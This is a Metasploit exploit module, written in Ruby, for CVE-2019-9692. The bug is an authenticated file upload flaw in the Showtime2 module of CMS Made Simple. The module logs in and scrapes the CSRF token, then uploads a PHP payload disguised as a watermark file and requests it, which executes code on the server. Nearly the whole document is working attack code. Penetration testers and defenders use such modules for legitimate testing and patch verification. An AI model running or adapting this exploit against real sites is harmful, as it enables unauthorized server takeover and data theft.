CMS Made Simple (CMSMS) Showtime2 – File Upload Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE", 'Description' => %q( This module exploits a File Upload vulnerability that lead in a RCE in Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated user with "Use Showtime2" privilege could exploit the vulnerability. The vulnerability exists in the Showtime2 module, where the class "class.showtime2_image.php" does not ensure that a watermark file has a standard image file extension (GIF, JPG, JPEG, or PNG). Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0, 3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1 ), 'License' => MSF_LICENSE, 'Author' => [ 'Daniele Scanu', # Discovery & PoC 'Fabio Cogno' # Metasploit module ], 'References' => [ ['CVE', '2019-9692'], ['CWE', '434'], ['EDB', '46546'], ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'], ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Mar 11 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']), OptString.new('USERNAME', [true, "Username to authenticate with", '']), OptString.new('PASSWORD', [false, "Password to authenticate with", '']) ] ) end def do_login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'), 'vars_post' => { 'username' => datastore['username'], 'password' => datastore['password'], 'loginsubmit' => 'Submit' } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 302 @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s @cookies = res.get_cookies return end fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end def upload(fname, fcontent) # construct POST data data = Rex::MIME::Message.new data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"") data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"") data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"") data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, 'headers' => { 'Cookie' => @cookies } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i) return end print_warning('No confidence in PHP payload success or failure') end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini') ) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 200 module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first) if module_version < Gem::Version.new('3.6.3') # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed. vprint_status("Showtime2 version: #{module_version}") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end @csrf_name = nil @csrf_value = nil @cookies = nil do_login # Upload PHP payload fname = "#{rand_text_alphanumeric(3..9)}.php" fcontent = "<?php #{payload.encode} ?>" print_status('Uploading PHP payload.') upload(fname, fcontent) # Register uploaded PHP payload file for cleanup register_files_for_cleanup('./' + fname) # Retrieve and execute PHP payload print_status("Making request for '/#{fname}' to execute payload.") send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname) }, 15 ) end end |